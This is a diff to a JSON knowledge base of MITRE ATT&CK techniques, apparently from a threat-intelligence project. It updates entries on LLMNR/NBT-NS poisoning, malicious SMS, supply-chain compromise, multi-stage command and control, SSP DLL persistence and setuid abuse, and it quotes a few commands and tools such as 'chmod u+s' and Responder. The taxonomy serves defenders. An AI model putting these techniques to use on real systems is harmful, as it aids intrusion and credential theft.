"external_id": "APP-30", + "kill_chain": [ + "mitre-mobile-attack:command-and-control", + "mitre-mobile-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1438", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html" + ] + }, + "uuid": "b3c2e5de-0941-4b57-ba61-af029eb5517a", + "value": "Alternate Network Mediums - T1438" + }, + { + "description": "Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)", + "meta": { + "external_id": "T1356", + "kill_chain": [ + "mitre-pre-attack:test-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1356" + ] + }, + "uuid": "0649fc36-72a0-40a0-a2f9-3fc7e3231ad6", + "value": "Test callback functionality - T1356" + }, + { + "description": "Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)", + "meta": { + "external_id": "T1379", + "kill_chain": [ + "mitre-pre-attack:stage-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1379" + ] + }, + "uuid": "2f442206-2983-4fc2-93fd-0a828e026412", + "value": "Disseminate removable media - T1379" + }, + { + "description": "Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it it doesn't leverage malicious code. All forms of spearphishing are elctronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)", + "meta": { + "external_id": "T1397", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1397" + ] + }, + "uuid": "b182f29c-2505-4b32-a000-0440ef189f59", + "value": "Spearphishing for Information - T1397" + }, + { + "description": "An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).\n\nAn SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.\n\nAs described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1454", + "refs": [ + "https://attack.mitre.org/techniques/T1454" + ] + }, + "related": [ + { + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "0bcc4ec1-a897-49a9-a9ff-c00df1d1209d", + "value": "Malicious SMS Message - T1454" + }, + { + "description": "As further described in [ATT&CK for Enterprise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.\n\nRelated PRE-ATT&CK techniques include:\n\n* [Identify vulnerabilities in third-party software libraries](https://attack.mitre.org/techniques/T1389) - Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).\n* [Distribute malicious software development tools](https://attack.mitre.org/techniques/T1394) - As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.", + "meta": { + "external_id": "APP-6", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1474", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-6.html", + "https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/", + "http://researchcenter.paloaltonetworks.com/2015/09/novel-malware-xcodeghost-modifies-xcode-infects-apple-ios-apps-and-hits-app-store/" + ] + }, + "uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "value": "Supply Chain Compromise - T1474" + }, + { + "description": "A malicious application could abuse Android device administrator access to wipe device contents, for example if a ransom is not paid.", + "meta": { + "external_id": "T1447", + "kill_chain": [ + "mitre-mobile-attack:effects" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1447" + ] + }, + "uuid": "8e27551a-5080-4148-a584-c64348212e4f", + "value": "Wipe Device Data - T1447" + }, + { + "description": "A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.\n\nD. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).\n\nWeinmann described and demonstrated \"the risk of remotely exploitable memory corruptions in cellular baseband stacks.\" (Citation: Weinmann-Baseband)\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1455", + "refs": [ + "https://attack.mitre.org/techniques/T1455" + ] + }, + "related": [ + { + "dest-uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "c91c304a-975d-4501-9789-0db1c57afd3f", + "value": "Exploit Baseband Vulnerability - T1455" + }, + { + "description": "Content of a media (audio or video) file could be designed to exploit vulnerabilities in parsers on the mobile device, as for example demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1457", + "refs": [ + "https://attack.mitre.org/techniques/T1457" + ] + }, + "related": [ + { + "dest-uuid": "fd339382-bfec-4bf0-8d47-1caedc9e7e57", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "a9cab8f6-4c94-4c9b-9e7d-9d863ff53431", + "value": "Malicious Media Content - T1457" + }, + { + "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", + "meta": { + "external_id": "T1171", + "kill_chain": [ + "mitre-attack:credential-access" + ], "mitre_data_sources": [ - "File monitoring", - "API monitoring", - "DLL monitoring", "Windows Registry", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1013", - "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "http://msdn.microsoft.com/en-us/library/dd183341", - "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf" - ], - "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125" - }, - "value": "Local Port Monitor" - }, - { - "description": "Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).[[Citation: Microsoft WinRM]] It may be called with the winrm command or by any number of programs such as PowerShell.[[Citation: Jacobsen 2014]]\n\nDetection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Authentication logs", - "Netflow/Enclave netflow", - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1028", - "http://msdn.microsoft.com/en-us/library/aa384426", - "http://www.slideee.com/slide/lateral-movement-with-powershell" - ], - "uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39" - }, - "value": "Windows Remote Management" - }, - { - "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as [[Lateral Movement]], based on the information obtained.\n\nNormal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process use of network, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Network protocol analysis", "Packet capture", - "Process use of network", - "Process command-line parameters" + "Netflow/Enclave netflow" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1046" - ], - "uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88" + "https://attack.mitre.org/techniques/T1171", + "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution", + "https://technet.microsoft.com/library/cc958811.aspx", + "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning", + "https://github.com/Kevin-Robertson/Conveigh", + "https://github.com/SpiderLabs/Responder", + "https://github.com/nomex/nbnspoof", + "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response" + ] }, - "value": "Network Service Scanning" + "uuid": "0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "value": "LLMNR/NBT-NS Poisoning - T1171" }, { - "description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n[[Citation: Graeber 2014]]\n\nDetection: Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8.[[Citation: Graeber 2014]][[Citation: Microsoft Configure LSA]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: DLL monitoring, Windows Registry, Loaded DLLs", + "description": "A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)", "meta": { - "mitre_data_sources": [ - "DLL monitoring", - "Windows Registry", - "Loaded DLLs" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "external_id": "T1346", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1101", - "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html", - "https://technet.microsoft.com/en-us/library/dn408187.aspx" - ], - "uuid": "6c174520-beea-43d9-aac6-28fb77f3e446" + "https://attack.mitre.org/techniques/T1346" + ] }, - "value": "Security Support Provider" + "uuid": "27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768", + "value": "Obtain/re-use payloads - T1346" }, { - "description": "Pass the ticket (PtT)Valid Accounts are captured by Credential Dumping. A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.[[Citation: ADSecurity AD Kerberos Attacks]][[Citation: GentilKiwi Pass the Ticket]]\n\nSilver Tickets can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).[[Citation: ADSecurity AD Kerberos Attacks]]\n\nGolden Tickets can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.[[Citation: Campbell 2014]]\n\nDetection: Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity.\n\nEvent ID 4769 is generated on the Domain Controller when using a golden ticket after the KRBTGT password has been reset twice, as mentioned in the mitigation section. The status code 0x1F indicates the action has failed due to \"Integrity check on decrypted field failed\" and indicates misuse by a previously invalidated golden ticket.[[Citation: CERT-EU Golden Ticket Protection]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs\n\nContributors: Ryan Becwar", + "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.", "meta": { - "mitre_data_sources": [ - "Authentication logs" + "external_id": "T1104", + "kill_chain": [ + "mitre-attack:command-and-control" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1097", - "http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf", - "http://www.aorato.com/labs/pass-the-ticket/", - "https://adsecurity.org/?p=556", - "http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos" - ], - "uuid": "a257ed11-ff3b-4216-8c9d-3938ef57064c" - }, - "value": "Pass the Ticket" - }, - { - "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring", - "meta": { - "mitre_data_sources": [ - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1065", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "uuid": "c848fcf7-6b62-4bde-8216-b6c157d48da0" - }, - "value": "Uncommonly Used Port" - }, - { - "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively. Normally an application is run in the current user’s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn’t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via ls -l. The chmod program can set these bits with via bitmasking, chmod 4777 [file] or via shorthand naming, chmod u+s [file].\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user’s context.\n\nDetection: Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nEffective Permissions: Administrator, root", - "meta": { - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Linux", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1166" - ], - "uuid": "8bf7a62e-e2a2-4f7b-94fb-eadcff06194f" - }, - "value": "Setuid and Setgid" - }, - { - "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at ~/Library/Preferences/com.apple.loginwindow.plist and ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine[[Citation: Methods of Mac Malware Persistence]].\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: MacOS, OS X", - "meta": { - "mitre_platforms": [ - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1164", - "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" - ], - "uuid": "0ed9e79b-293a-41aa-ae4c-10d74fd95ba6" - }, - "value": "Re-opened Applications" - }, - { - "description": "Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms.cmd, which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. Scheduled Task).\n\nAdversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.\n\nDetection: Command-line interface activities can be captured through proper logging of process execution with command-line arguments. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process command-line parameters", - "meta": { - "mitre_data_sources": [ - "Process monitoring", - "Process command-line parameters" - ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Linux", - "Windows 10", - "MacOS", - "OS X" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1059", - "https://en.wikipedia.org/wiki/Command-line%20interface" - ], - "uuid": "7385dfaf-6886-4229-9ecd-6fd678040830" - }, - "value": "Command-Line Interface" - }, - { - "description": "Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.\n\nRemote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.\n\nThe different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or Fallback Channels in case the original first-stage communication path is discovered and blocked.\n\nDetection: Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure. Relating subsequent actions that may result from [[Discovery]] of the system and network information or [[Lateral Movement]] to the originating process may also yield useful data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Network device logs, Network protocol analysis, Packet capture, Process use of network", - "meta": { "mitre_data_sources": [ "Netflow/Enclave netflow", "Network device logs", @@ -2473,63 +6883,25 @@ "Process use of network" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", "Linux", - "Windows 10", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1104" - ], - "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91" + "https://attack.mitre.org/techniques/T1104" + ] }, - "value": "Multi-Stage Channels" + "uuid": "84e02621-8fdf-470f-bd58-993bb6a89d91", + "value": "Multi-Stage Channels - T1104" }, { - "description": "Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests[[Citation: MSDN Manifests]] are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL.[[Citation: Stewart 2014]]\n\nAdversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.\n\nDetection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process use of network, Process monitoring, Loaded DLLs", + "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.", "meta": { - "mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Loaded DLLs" + "external_id": "T1072", + "kill_chain": [ + "mitre-attack:execution", + "mitre-attack:lateral-movement" ], - "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" - ], - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1073", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf", - "https://msdn.microsoft.com/en-us/library/aa375365" - ], - "uuid": "b2001907-166b-4d71-bb3c-9d26c871de09" - }, - "value": "DLL Side-Loading" - }, - { - "description": "Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.\n\nAdversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.\n\nDetection: Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X\n\nData Sources: File monitoring, Third-party application logs, Windows Registry, Process monitoring, Process use of network, Binary file metadata", - "meta": { "mitre_data_sources": [ "File monitoring", "Third-party application logs", @@ -2539,683 +6911,364 @@ "Binary file metadata" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10", "Linux", - "MacOS", - "OS X" + "macOS", + "Windows" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1072" - ], - "uuid": "92a78814-b191-47ca-909c-1ccfe3777414" + "https://attack.mitre.org/techniques/T1072" + ] }, - "value": "Third-party Software" + "uuid": "92a78814-b191-47ca-909c-1ccfe3777414", + "value": "Third-party Software - T1072" }, { - "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies[[Citation: Writing Bad Malware for OSX]]. There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time[[Citation: Malware Persistence on OS X]].\n\nDetection: Monitor processes for those that may be used to modify binary headers. Monitor 